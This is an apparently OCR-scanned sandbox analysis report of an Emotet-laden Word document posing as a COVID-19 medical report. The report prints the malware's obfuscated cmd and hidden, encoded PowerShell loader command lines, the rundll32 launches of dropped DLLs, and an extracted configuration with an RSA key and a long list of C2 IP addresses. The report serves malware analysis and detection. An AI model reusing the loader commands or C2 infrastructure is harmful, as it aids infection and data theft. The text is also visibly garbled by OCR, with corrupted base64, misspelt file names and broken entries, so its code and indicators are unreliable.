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Analysis Report 1U-8549 Medical report COVID-19.doc
Overview

General Information Detection Classification

Sample 1U-8549 Medical report
Name: COVID-19.doc MALICIOUS

Analysis ID: 354471

Antivirus detection for URL or domain

Found malware configuration

MD5: . .
be33bce1030d36.. Multi AV Scanner detection for doma...
SHA1L:
2731bb3115108d.. Multi AV Scanner detection for dropp...
SHA256: 843ac5a5070a8f7.

Multi AV Scanner detection for subm...
Most interesting Screenshot:

Office document tries to convince Vvi...

Snort IDS alert for network traffic (e....

System process connects to networ...

m Yara detected Emotet
100

Score: C2 URLs / IPs found in malware con...
Range: 0-100 Creates processes via WMI
Whitelisted: false

CACAIE] iy ) Document contains an embedded VB...
Confidence: 100%

w
«Q
>
2
(=
=
®
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Startup

= System is w7x64

. WINWORD.EXE (PID: 1796 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 1084 cmdline: cmd cmd /c m"s"g %username% /v Wo”rd exp”erien”ced an er”ror tryi*ng to op”en th”e fi*le. & p~owe”rs heMI" -w hi*dd”en -*e”nc IAAgAFM
AdgAgACAAUABCADUAbWAJACAAKABDAFQAWQBWAEUAXQAO0ACIAewAyAHOAeWAXAHOAeWA1AHOAewAZAHOAeWAWAHOAewA2AHOAeWwAOAHOAIGAGACOARGAGACC
AVAANACWAIWBFAEOALgBIJACCALAANAFMAWQBZzAFQAJIWASACCAZQBDACCALAANAHKAIWASACCABWAUAEQASQBSACCALAANAEBAUGANACKAIAAPACAAOWAGACA
AUWBFAHQALQBJAFQARQBtACAAdYgBBAFIASQBhAEIATABIADOABQA3AGEAOQAJACJAWWBOAHKACABFAFOAKAAIAHSANABIAHSAMgBIAHSAMWBIAHSANQBOAHS
AMQBIAHSANgBIAHSAMABIAHSANWBIACIAIAAtAGY AJWBUACCALAANAEKAQWBFAHAATWBIAE4AdABIACCALAANAGAAZQBUACCALAANACAAIWASACCACWBSAFMAdABIAEOAL
gANACWAIWBZAEUAUgB2ACCALAANAEEAJWASACCAY QBHAGUACGANACKAIAAPDACAAIAATACAAIAAKAEKAaAB2ADgAOQBFAGCAPQAKAEOAOQAXAECAIAATACAAW
WBJAGgAYQBYAFOAKAAZADMAKQAJACSAIAAKAEgAMgAZAEQAOWAKAEQAOQAOAEOAPQACACIAIWBQADCAIWArACCAMgANACKAKWANAFGAIWAPADSAIAAOAGCAR
QBUACO0AdgBhAHIAaQBhAEIAbABIACAACABIADUAbWAGACOAVYBBACKAOgABACIAYWBYAEUAY QBUAGUAZABPAGAAUYBIAEMAJABJAGBAUGBZACIAKAAKAEGAT
WBNAEUAIAATACAAKAAOACGAIWASAGSAIWAIACCAdABOAGSAIWAPACSAIWAYACCAKWANAG QAIWATACgAIWBIAGAYgASACCAKWANAGSAdAANACSAIWBHAHGAD
ABOACCAKQArACgAIWASAGKAIWATACCAY QASAGSAJAANACKAKQAUACIACGBFAGAAUABSAGEAQWBIACIAKAAOACCAOQANACSAIWBIAHQAIWAPACWAIWBCACCAK
QAPACKAOWAKAEOAOAA3AEgAPQAOACCAUWANACSAKAANADMANGANACSAIWBOACCAKQAPADSAIAAOACAAIAB2AGEAUGBIAGEAYgBSAGUAIAAGAEOANWBhADKAIL
AAgACOAVgBBACAAIAApADOAOGAIAFMARQBJAHUACGBpAFQAWQBWAGAAUgBVAFQAbWBDAGAAbBWBMACIAIAAIACAAKAAOACCAVABSACCAKWANAHMAIWAPACSAJ
WAXADIAIJWAPADSAJABYADIAMgBVADOAKAANAEUAIWAIACGAIWBFACCAKWANAFBARQANACKAKQA7ACQAUAAYADCACABXAGUAMWAGADOAIAAOACCARQA2ACCAK
WANAF8AUgANACKAOWAKAEYAMWASAEWAPQA0ACYAIWBRACCAKWANADKANAANACKAKWANAFCAIWAPADSAJABBAGQAMQBYAGEAOABUADOAJABIAEBATQBFACSAK
AAOACgAIWBLAGKAIWArACcABQANACKAKWAOACCATgBrADIAZAANACSAIWB1AGgAYgANACKAKWANAESAaQANACSAIWBtACCAKWAOACCARWBAACCAKWANAGWAIWAPACSAIWB
0ADKAIJWArACgAIWBPACCAKWANAGEASWBPACCAKQATIACCABQANACKALQBSAGUAUABSAGEAYWBIACJAWWBDAEgAQQBSAFOANWALACSAWWBDAEgAQQBSAFOAMQA
WADUAKWBbAEMASABBAFIAXQAXADAAOQAPACWAWWBDAEJAQQBSAFOAOQAYACKAKWAKAFAAMYA3AHAACQBIADMAKWANACAAZAANACAAKWAJACCADABSACCAOWA
KAFYAMgA4AFUAPQAOACCAQWA4ACCAKWANADGASWANACKAOWAKAEOACGBPAHEAZAALADKAPQANAGYAIWAJACSAIAANAHQAJAANACAAKWAGACCACAANADSAJAB
LAHCAMWA3ADKANAB4ADOAKAANAHGAIAANACSAIWBbBACCAKWAOACCAIABZAGYAIWATACCAIAANACKAKWAOACCAYJANACSAIWABACBALWBJAGEAY gAUAGOAeQANACSAIWBIA
GYAIWAPACsSAIWBUACAAIWArACgAIWBJAGBABQANACSAIJWAVACCAKQAIACCAYQANACSAKAANAGQAIWATACCAbQBPAGAAIWAPACSAIWAVACCAKWAOACCAWAAVA
CcAKWANACEAJWAPACSAIWBAACCAKWAOACCAIAANACSAIWBDACAACWANACKAKWANAGGAIWATACgAIWAGAGIAIWATACCAOgANACKAKWAOACCALWANACSAIWAVAGIAaABhACC
AKQArACcAawAnACsAIWBOAGKAIJWArACgAIWB2AHIAaQBUAGQAJWATrACCALGANACSAIWBJAGBAbDQAVAGMAIWAPACSAIWBNACCAKWAOACCAaQANACSAIJWATIAGIAaQBUACCAK
QArACgAJWAVACCAKWANAEOAQQYBIAGIAIJWArACCAOAANACSAIWAVACEAeAAgAFSAIAANACKAKWANAHMAaAANACSAKAANACAAYgANACSAIWABACCAKQArACgAIWAVACCAKWA
nAC8AdgBhAG4AIJWArACCAZABKAGAAY QANACKAKWAOACCAYgBoAGEAcgBNACCAKWANAGEAIJWAPACSAIWB2AGUAIWArACgAIWAUAGMAIWArACCAbWANACKAKWA
0ACCcAbQAVAGEAcwBzACCAKWANAGUAdAANACKAKWANACBAVWANACSAKAANADKAbwWANACSAJWAVACCAKQArACCAIQANACSAIWBAACAAIWATACCAWWAGACCAKWA
0ACCcAcWANACsAIJWBOACAAIWAPACSAKAANAGIAOgANACSAIJWAVACCAKQArACgAIWAVAGKAZ QAtACCAKWANAGIAIWATACCAZQANACKAKWAOACCACWANACSAIJWBOACAAbgANA
CKAKWANAGUAJIWArACgAIWBOAC8AbWANACSAIWBUACCAKWANAGWAaQBUACCAKQAIrACCAZQANACSAKAANACOAIWATACCAdABPAGOAZQBYACCAKWANACOAIWAPA
CsAKAANAGSAJWArACcAdgBoACCAKQATrACgAIWBAAHOAIWArACCALWBpACCAKQAIrACCAbAANACSAKAANAFgGAIWArACCATAAVACEAeAANACKAKWAOACCAIABbACAACWANACS
AIWBOACAAIWAPACSAKAANAGIAOgANACSAIJWAVACCAKQArACCALWANACSAIWBNACCAKWAOACCAbWBJACCAKWANAHAAIWArACCcAaABVAGAAIWAPACSAKAANAGCAJABOACCAK
WANAGUAIWAPACSAKAANACAAYWBVAGOALWANACSAIWB3AHAAIWArACCALQANACKAKWANAGMADBWANACSAIWBUAHQAIWATACJAIWBIAGAAJAAVACCAKWANAGWAJ
WApPACsAIJWBNACCAKWAOACCATQBDACCAKWANACBAIQANACKAKWAOACCAeAAGACCAKWANAFSAIABZACCAKQArACgAIJWBOoACCAKWANACAAYJABACBALWANACSAJ
WB3AHCAIJWAPACSAIWB3ACCAKWAOACCALGBSACCAKWANAGUAIWAPACSAKAANAHQAIWAIACCACWBJACCAKQArACCAbwBtACCAKWANAHAAY QANACSAKAANAHIAIJWATACCAZQB
VAGA4AIWAPACSAKAANAGWAIWArACcAaQBUACCAKQArACgAIWBIACCAKWANACAAYWANACKAKWAOACCAbWBIACBAZAANACSAIWBIACCAKQArACgAIWAUAGWAIWATACCAZQBOA
CcAKQArACcAcwBjACCAKWANAGBAbBQANACSAIWBWACCAKWANAGEAJIWArACCcAcgBIACCAKWANAGBAbgANACSAKAANAGWAAQANACSAIWBUAGUAIWAPACSAKAANACAAIWATACC
AYWBVAGOAIWArACcALWB3AFKAZAAVACCAKWANACEAeAAGACCAKQArACCAWWANACSAKAANACAACWANACSAIWBOACAAYJANACSAIWABACBAIWAPACSAIWAVACC
AKWANAGMAYQANACSAIJWBIAGIAIWArACcAaQANACSAKAANAGEACWB1AGgAIWArACcAaQANACKAKWAOACCACWBOAGBACgANACSAIWBPAGEAIWArACCALgBNAHIAbWB3ACCAK
QArACcAbAANACsAIWBhAGIAIWArACgAIWAUACCAKWANAGUACWAVAHCACAANACSAIWAIACCAKQArACCAYWBVACCAKWANAGAAAAANACSAIWBIAGAAIWAIACCAJAANACSAKAA
NAC8AaAANACSAIWBHAGIAWQANACKAKWANADIALWANACKALGAIAHIAY ABIAHAAY ABMAEEAQWBIACIAKAAOACCAeAAGACCAKWANAFSAIWATACgAIWAGAHMAAAANACSAIWAGA
GIAJWAPACKALAAOAFSAY QBYAHIAY QBSAFOAKAANAG4AagANACWAIWBOAHIAIWAPACWAIWB5AGOAIWASACCACWBACCALAAKAEOACYGBPAHEAZAALIADKALAANAHCAZAANACK
AWWAZAFOAKQAUACIACWBQAGWAYABPAHQAIgAOACQAQQA3ADYAQUAJACSAIAAKAEKAaAB2ADgAOQBFAGCAIAATACAAIABRADCAXWBSACKAOWAKAFYAOABTAEC
APQA0ACYAIWBNACCAKWANADUAMQANACKAKWANAFY AJWAPADSAZgBVAHIAZQBhAGMAaAAgACYAJABYAGOAOABZADEANQAXACAAaQBUACAAIJABLAHCAMWA3ADK
ANAB4ACKAewB0OAHIAeQB7ACJALgAOACCATYBIACCAKWANAHCALQBPAGIAagBIAGMAIWArACCAdAANACKAIABZAFKAUWBOAEUABQAUAGAARQBUAC4AdWBFAEIAQWBMAEKAZ
QBUAFQAKQAUACIAZABPAGAAdWBUAGAATABPAGEARABMAGKADBABIACIAKAAKAFgAagA4AHMAMQALADEALAAGACQAQQBKADEAcgBhADgAbgAPADSAJABEADKAN
ABKADOAKAANAEIAIWArACgAIWAZACCAKWANADIARWANACKAKQA7AEKAZgAgACJAKAAMACIAIWBHAGUAJAALAEKAIWATACCAJABIACCAKWANAGOAIWAPACAAT
ABBAGQAMQBYAGEAOABUACKALGAIAEWAYABFAGAAZWBgAFQASAAIACAALQBNAGUAIAAZADMAMQAYADAAKQAGAHSALGAOACCACYB1IAGAAZABSACCAKWANAGWAM
WANACsAJWAYACCcAKQAgACQAQQBKADEAcgBhADgAbgAsSACgAIWBBACCAKWANAGAAeQANACSAKAANAFMAJABYACCAKWANAGKAIJWAPACSAIWBUAGCAIWAPACAAI
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gBOAEBAUWBUAFIAYABPAG4ARWAIACJAKQA7ACQAVIA3ADIAQIAIACIAIWBTACCAKWAOACCAOAALACCAKWANAEIAIWAPACKAOWBIAHIAZQBhAGSAOWAKAFYAO
ABfAFAAPQAO0ACCARJA2ACCAKWANADCATAANACKATQBIAGMAY QBOAGMAaAB7AHOAFQAKAFEAMAAOAFYAPQAOACCASQAYACCAKWANADYAWQJANACKA MD5:
5746BD7E255DD6ABAFA06F7C42C1BA41L)

e [ msg.exe (PID: 592 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

e 3§ powershell.exe (PID: 1320 cmdline: powershell -w hidden -enc IAAgAFMAdgAgACAAUABCADUAbWAgACAAKABBAFQAWQBWAEUAXQAOACIAewAyAHOAeWAX
AHOAewA1AHOAewAzAHOAeWAWAHOAeWwA2AHOAeWAOAHOAIGAGACOARJAGACCAVAANACWAIWBFAEOALYBIJACCALAANAFMAWQBZAFQAJWASACCAZQBDACCALAAN
AHKAJWASACCAbWAUAEQASQBSACCALAANAEBAUgANACKAIAAPACAAOWAGACAAUWBFAHQALQBIAFQARQBIACAAdgBBAFIASQBhAEIATABIADOADQA3AGEAOQAY
ACgAWWBOAHKACABFAFOAKAAIAHSANABIAHSAMgBIAHSAMWBIAHSANQBIAHSAMQBIAHSANGgBIAHSAMABIAHSANWBIACIAIAAIAGY AIJWBUACCALAANAEKAQWBF
AHAATWBJIAE4AJABtACCALAANAGAAZQBUACCALAANACAAIWASACCACWBSAFMAIABIAEOALGANACWAIWBZAEUAUgB2ACCALAANAEEAIWASACCAY QBHAGUACgAN
ACKAIAAPACAAIAATACAAIAAKAEKAaAB2ADgAOQBFAGCAPQAKAEOAOQAXAECAIAAFACAAWWBIAGYAY QBYAFOAKAAZADMAKQAJACSAIAAKAEgAMgAZAEQAOWAK
AEQAOQAOAEOAPQA0ACGAIWBQADCAIWArACCAMgANACKAKWANAFgAIWAPADSAIAACAGCARQBUACOAdgBhAHIAaQBhAEIADABIACAACABIADUAbWAGACOAVYBB
ACKAOgABACIAYWBYAEUAYQBUAGUAZABPAGAAUGBIAEMAJABJAGBAUYBZACIAKAAKAEgGATWBNAEUAIAATACAAKAACACGAIWASAGSAIWAIACCAdABOAGSAIWAD
ACsAIWAYACCAKWANAGQAJIWArACGAIWB1AGYAYgASACCAKWANAGSAJAANACSAIWBHAHGABABOACCAKQAIACGAIWASAGKAIWAIACCAY QASAGSAdAANACKAKQAU
ACIACgBFAGAAUABSAGEAQWBIACIAKAAOACCAOQANACSAIWBIAHQAIWAPACWAIWBCACCAKQAPACKAOWAKAEOAOAA3AEgAPQACACCAUWANACSAKAANADMANGAN
ACsAIWBOACCAKQApPADSAIAACACAAIAB2AGEAUgBIAGEAY gBsAGUAIAAgAEOANWBhADKAIAAgACOAVgBBACAAIAAPADOoAOgAIAFMARQBJAHUACYBpAFQAWQBW
AGAAUgBVAFQAbwBDAGAAbWBMACIAIAASACAAKAAOACCAVABSACCAKWANAHMAIWAPACSAIWAXADIAIWAPADSAJABYADIAMgBVADOAKAANAEUAIWArACgAJIwWBS
ACCAKWANAFBARQANACKAKQA7ACQAUAAYADCACABXAGUAMWAGADOAIAAOACCARQA2ACCAKWANAFBAUgANACKAOWAKAEY AMWASAEWAPQA0ACJAIWBRACCAKWAN
ADKANAANACKAKWANAFCAIJWAPADSAJABBAGQAMQBYAGEAOABUADOAJABIAESBATQBFACSAKAAOACYAIWBLAGKAIWAIACCADQANACKAKWAOACCATGBIADIAZAAN
ACsAIJWB1AGgAYJANACKAKWANAESAaQANACSAIWBIACCAKWAOACCARWBAACCAKWANAGWAIWAPACSAIWBOADKAIWArACgAIWBPACCAKWANAGEASWBPACCAKQAr
ACCcAbQANACKALQBSAGUAUABSAGEAYWBIACgAWWBDAEJAQQBSAFOANWALACSAWWBDAEgAQQBSAFOAMQAWADUAKWBbOAEMASABBAFIAXQAXADAAOQ
ApACWAWWBDAEgAQQBSAFOAOQAYACKAKWAKAFAAMYA3AHAACQBIADMAKWANACAAZAANACAAKWAGACCADABSACCAOWAKAFYAMgA4AFUAPQACACCAQWA4ACCAKW
ANADgASWANACKAOWAKAEOACYBPAHEAZAALADKAPQANAGYAIWAJACSAIAANAHQAJAANACAAKWAGACCACAANADSAJABLAHCAMWA3ADKANAB4ADOAKAANAHGAIA

AnACsAJWBbACCAKWAOACCAIABZAGGAIWAIACCAIAANACKAKWAOACCAYJANACSAIWABACBALWBJAGEAYJAUAGOAeQANACSAIWBIAGYAJWAPACSAIWBUACAAIW
ArACgAIWBJAGBAbQANACSAIWAVACCAKQArACCAY QANACSAKAANAGQAJIWAIrACCAbQBPAGAAIWAPACSAIWAVACCAKWAOACCAWAAVACCAKWANACEAIWAPACSAIW
B4ACCcAKWAOACCAIAANACSAIWBDACAACWANACKAKWANAGYAIWArACJAIWAGAGIAIWArACCAOgANACKAKWAOACCALWANACSAIJWAVAGIAaABhACCAKQArACcAaw
ANACsSAIWBOAGKAIWAIACgAIWB2AHIAaQBUAGQAJWArACCALJANACSAIWBJAGBADQAVAGMAJIWAPACSAIWBNACCAKWAOACCAAQANACSAIWAIAGIAaQBUACCAKQ
ArACgAIWAVACCAKWANAEOAQQBIAGIAIJWArACcAOAANACSAIWAVACEAeAAGAFSAIAANACKAKWANAHMAaAANACSAKAANACAAYgANACSAIWABACCAKQATrACgAIwW
AVACCAKWANACBAdgBhAGA4AIWArACCAZABKAGAAY QANACKAKWAOACCAYgBoAGEAcgBNACCAKWANAGEAJWAPACSAIWB2AGUAIWArACgAIWAUAGMAJIWATrACcAbw
AnACKAKWAOACCAbQAVAGEAcwBzACCAKWANAGUAJAANACKAKWANACBAVWANACSAKAANADKAbWANACSAIWAVACCAKQAIACCAIQANACSAIWBAACAAIWArACCAWW
AgACCcAKWAOACCACWANACSAIWBOACAAIWAPACSAKAANAGIAOGANACSAIWAVACCAKQArACgAIJWAVAGKAZ QAtACCAKWANAGIAIWATACCAZQANACKAKWAOACCACW
ANACsAIWBOAC4AbgANACKAKWANAGUAIWArACgAIWBOAC8AbWANACSAIWBUACCAKWANAGWAAQBUACCAKQAIACCAZQANACSAKAANACOAIWATACCAdABPAGOAZQ
ByACCcAKWANACOAIWAPACSAKAANAGSAIWArACcAdgBoACCAKQArACgAIWBAAHOAIWAIACCALWBPACCAKQArACCADAANACSAKAANAFgAIWArACCATAAVACEAeA
AnACKAKWAOACCAIABbACAACWANACSAIWBOACAAIWAPACSAKAANAGIAOgANACSAIWAVACCAKQArACCALWANACSAIJWBNACCAKWAOACCAbwBJACCAKWANAHAAIW
ArACcAaABVAGA4AIWAPACSAKAANAGCAdABOACCAKWANAGUAIWAPACSAKAANACAAYWBVAGOALWANACSAIJWB3AHAAIWArACCALQANACKAKWANAGMAbwWANACSAIwW
BUAHQAJWArACgAJWBIAG4AdAAVACCAKWANAGWAIWAPACSAIWBNACCAKWAOACCATQBDACCAKWANACBAIQANACKAKWAOACCAeAAGACCAKWANAFSAIABZACCAKQ
ArACgAIWBoACCAKWANACAAYgABACBALWANACSAIWB3AHCAIWAPACSAIWB3ACCAKWAOACCALYBSACCAKWANAGUAIWAPACSAKAANAHQAIWAIACCACWBJACCAKQ
ArACcAbwBtACCcAKWANAHAAY QANACSAKAANAHIAIWArACCAZQBVAGAAIWAPACSAKAANAGWAIWAIACCcAaQBUACCAKQArACgAIWBIACCAKWANACAAYWANACKAKwW
A0ACCcAbwBtACBAZAANACSAIJWBIACCAKQArACgAIWAUAGWAIWArACCAZQBOACCAKQArACCACWBJACCAKWANAGBABQANACSAIWBWACCAKWANAGEAJWArACCcAcY
BIACcAKWANAG8AbgANACSAKAANAGWAaQANACSAIWBUAGUAIWAPACSAKAANACAAIWAIACCAYWBVAGOAIWATACCALWB3AFKAZAAVACCAKWANACEAeAAgACCAKQ
ArACcAWWANACSAKAANACAACWANACSAIWBOACAAYJANACSAIWABACBAIWAPACSAIWAVACCAKWANAGMAY QANACSAIWBIAGIAIWArACcAaQANACSAKAANAGEAcwW
B1AGQAJWArACcAaQANACKAKWAOACCACWBOAGBACgANACSAIWBpAGEAJWArACCALgBNAHIAbwB3ACCAKQArACCAbAANACSAIWBhAGIAIJWATACgAIJWAUACCAKwW
AnAGUACcWAVAHCACAANACSAIJWAIACCAKQArACCAYWBVACCAKWANAGAAJAANACSAIWBIAGAAIWAIACCAJAANACSAKAANACBAaAANACSAIJWBHAGAWQANACKAKwW
ANADIALWANACKALGAIAHIAYABIAHAAY ABMAEEAQWBIACIAKAAOACCAeAAGACCAKWANAFSAIWAIACgAIWAGAHMAEAANACSAIWAGAGIAIWAPACKALAACAFSAYQ
ByAHIAYQB5AF0AKAANAG4AagANACWAIWBOAHIAIWAPACWAIWB5AGOAIWASACCACWBJACCALAAKAEOACYBPAHEAZAALADKALAANAHCAZAANACKAWWAZAFOAKQ
AUACIAcWBQAGWAYABPAHQAIgAOCACQAQQA3ADYAQUAGACSAIAAKAEKAaAB2ADgAOQBFAGCAIAATACAAIABRADCAXWBSACKAOWAKAFY AOABFAECAPQACACIAIW
BNACCAKWANADUAMQANACKAKWANAFY AJWApPADSAZgBVAHIAZQBhAGMAaAAgACIAJABY AGOAOABZADEANQAXACAAaQBUACAAIABLAHCAMWA3ADKANABAACKAeW
BOAHIAeQB7ACgALgAOACCATYBIACCAKWANAHCALQBPAGIAagBIAGMAJWArACCAdAANACKAIABZAFKAUWBOAEUADQAUAG4ARQBUAC4AAdWBFAEIAQWBMAEKAZQ
BUAFQAKQAUACIAZABPAGAAdWBUAGAATABPAGEARABMAGKADBABIACIAKAAKAFgAagA4AHMAMQALADEALAAGACQAQQBKADEAcgBhADgAbgAPADSAJABEADKANA
BKADOAKAANAEIAJWArACgAIWAZACCAKWANADIARWANACKAKQA7AEKAZgAgACJAKAAMACGAIWBHAGUAJAAIAEKAIWArACCAJABIACCAKWANAGOAIWAPACAAIA
BBAGQAMQBYAGEAOABUACKALgGAIAEWAYABFAG4AZWBgAFQASAAIACAALQBNAGUAIAAZADMAMQAYADAAKQAGAHSALJAOACCACYBIAG4AZABSACCAKWANAGWAMW
AnACsAJWAYACcAKQAgACQAQQBKADEAcgBhADgAbgAsACgAIWBBACCAKWANAGAAeQANACSAKAANAFMAJABYACCAKWANAGKAIJWAPACSAIWBUAGCAIWAPACAAIg
BOAESAUWBUAFIAYABPAGAARWAIACJAKQA7ACQAVIA3ADgAQIAIACIAIWBTACCAKWAOACCAOAALIACCAKWANAEIAIWAPACKAOWBIAHIAZQBhAGSAOWAKAFYAOA
BfAFAAPQAOACCARgA2ACCAKWANADCATAANACKAFQBIAGMAY QBOAGMAaAB7AHOAFQAKAFEAMAAOAFYAPQAOACCASQAYACCAKWANADYAWYANACKA MD5:
852D67A27E454BD389FA7F02A8CBE23F)
. D rundll32.exe (PID: 2416 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dIl AnyString MD5:
DD81D91FF3B0763C392422865C9AC12E)
. D rundll32.exe (PID: 2296 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dIl AnyString MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2700 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Users\user\Nk2duhb\GxIh9ia\E6_R.dlIl';#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2824 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Dgmlr\ngcj.eda’;hyhQYxhuLCMLb MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2844 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Dgmlr\ngcj.eda’,#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2460 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Zfrhfthwazxcccc\whpjzcoochdvfd.agu',nChdzah
MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2448 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Zfrhfthwazxcccc\whpjzcoocbdvfd.agu',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
= cleanup

Malware Configuration

Threatname: Emotet

"RSA Public Key":
"MHwwDQY JKoZIhvcNAQEBBQADawAwaA JhANQOCBKvhSxEW7Vc I9tots jdBwuAc LxS | nQOe@9fk8VO531ktpW3TRr zAW63y t631KWnyxMrU3igFXypBoI41VNmk je4UPtIIS\nfkzjEIvG1v/ZNn1kOJOPfFTxbFFeUEs3AwIDAQAB",
"C2 list": [
"69.38.130.14:80",
"195.159.28.230:8080",
"162.241.204.233:8080",

| "115.21.224.117:80".
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"78.189.148.42:80",
"181.165.68.127:80",
"78.188.225.105:80",
"161.0.153.60:80",
"89.106.251.163:80",
"172.125.40.123:80",
"5.39.91.110:7080",
"110.145.11.73:80",
"190.251.200.206:80",
"144.217.7.207:7080",
"75.109.111.18:80",
"75.177.207.146:80",
"139.59.60.244:8080",
"70.183.211.3:80",
"95.213.236.64:8080",
"61.19.246.238:443",
"174.118.202.24:443",
"71.72.196.159:80",
"138.68.87.218:443",
"24.164.79.147:8080",
"49.205.182.134:80",
"24.231.88.85:80",
"121.124.124.40:7080",
"95.9.5.93:80",
"118.83.154.64:443",
"78.24.219.147:8080",
"104.131.11.150:443",
"85.105.205.77:8080",
"108.53.88.101:443",
"187.161.206.24:80",

"203.153.216.189:7080",

"37.187.72.193:8080",
"185.94.252.104:443",
"157.245.99.39:8080",
"50.91.114.38:80",
"87.106.139.101:8080",
"74.128.121.17:80",
"62.75.141.82:80",
"37.139.21.175:8080",
"190.103.228.24:80",
"134.209.144.106:443",
"78.182.254.231:80",
"186.74.215.34:80",
"180.222.161.85:80",
"69.49.88.46:80",
"202.134.4.211:8080",
"75.113.193.72:80",
"139.162.60.124:8080",
"79.137.83.50:443",
"123.176.25.234:80",
"172.105.13.66:443",
"93.146.48.84:80",
"109.116.245.80:80",
"41.185.28.84:8080",
"98.109.133.80:80",
"194.190.67.75:80",
"110.145.101.66:443",

"136.244.110.184:8080",

"24.179.13.119:80",
"89.216.122.92:80",
"139.99.158.11:443",
"172.86.188.251:8080",
"74.40.205.197:443",
"62.171.142.179:8080",

"167.114.153.111:8080",

"119.59.116.21:8080",
"74.58.215.226:80",
"188.165.214.98:8080",
"172.104.97.173:8080",
"197.211.245.21:80",
"66.57.108.14:443",
"188.219.31.12:80",
"168.235.67.138:7080",
"24.69.65.8:8080",
"173.70.61.180:80",
"110.142.236.207:80",
"51.89.36.180:443",
"46.105.131.79:8080",
"194.4.58.192:7080",
"220.245.198.194:80",
"109.74.5.95:8080",
"24.178.90.49:80",
"181.171.209.241:443",
"59.21.235.119:80",
"94.23.237.171:443",
"12.175.220.98:80",
"217.20.166.178:7080",
"50.116.111.59:8080",
"176.111.60.55:8080",
"200.116.145.225:443",
"12A 15A AA 1RQ-RA"
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"185.201.9.197:8080",
"202.134.4.216:8080",
"120.150.218.241:443",
"2.58.16.89:8080",
"70.92.118.112:80",
"74.208.45.104:8080",
"79.130.130.240:8080",
"190.240.194.77:443",
"85.105.111.166:80",
"115.94.207.99:443"

Yara Overview

Memory Dumps

Source

00000008.00000002.2121216068.0000000000290000.0000
0040.00000001.sdmp

00000007.00000002.2110577655.0000000000230000.0000
0040.00000001.sdmp

0000000A.00000002.2145222435.00000000001A0000.0000
0040.00000001.sdmp

0000000C.00000002.2334223344.0000000000160000.0000
0040.00000001.sdmp

00000008.00000002.2121359913.0000000000700000.0000
0040.00000001.sdmp

Unpacked PEs

Source

11.2.rundlI32.exe.1d0000.0.unpack
9.2.rundlI32.exe.10000000.8.raw.unpack
9.2.rundll32.exe.150000.0.raw.unpack
8.2.rundlI32.exe.290000.0.unpack

12.2.rundlI32.exe.10000000.11.unpack

Sigma Overview

System Summary:

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Description

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 13 entries

Rule

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

JoeSecurity_Emotet

Description

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Yara detected
Emotet

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 31 entries

Strings

Strings

Signature Overview

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

@ System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior
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@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

@

AV Detection:

Click to jump to signature section

Antivirus detection for URL or domain
Found malware configuration

Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Compliance:

Uses new MSVCR DlIs

Binary contains paths to debug symbols

Networking:

rt IDS alert for network traffic (e.g. based on Emerging Threat rules)

E-Banking Fraud:

Yara detected Emotet

]‘

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Data Obfuscation:
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Persistence and Installation Behavior:

‘]

Hooking and other Techniques for Hiding and Protection:

‘]

HIPS | PFW | Operating System Protection Evasion:

=

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

=

Yara detected Emotet

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command N
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control E
Valid Windows Path Process Masquerading oS Security Software Remote Archive Exfiltration Encrypted
Accounts Management Interception  Injection Credential ~ Discovery Services Collected  Over Other Channel In
Instrumentation Dumping Data Network N
Medium C
Default Command and Boot or Boot or Logon Virtualization/Sandbox LSASS Virtualization/Sandbox Remote Data from  Exfiltration Non-Standard E
Accounts Scripting Logon Initialization Evasion Memory Evasion Desktop Removable Over Port R
Interpreter Initialization  Scripts Protocol Media Bluetooth C
Scripts
Domain Scripting Logon Script Logon Script Disable or Modify Security Process Discovery SMB/Windows Data from Automated Ingress Tool E
Accounts (Windows)  (Windows) Tools Account Admin Shares Network Exfiltration  Transfer T
Manager Shared L
Drive
Local Exploitation for Client Logon Script Logon Script Process NTDS Remote System Distributed Input Scheduled Non- S
Accounts Execution (Mac) (Mac) Injection Discovery Component  Capture Transfer Application S
Object Model Layer
Protocol
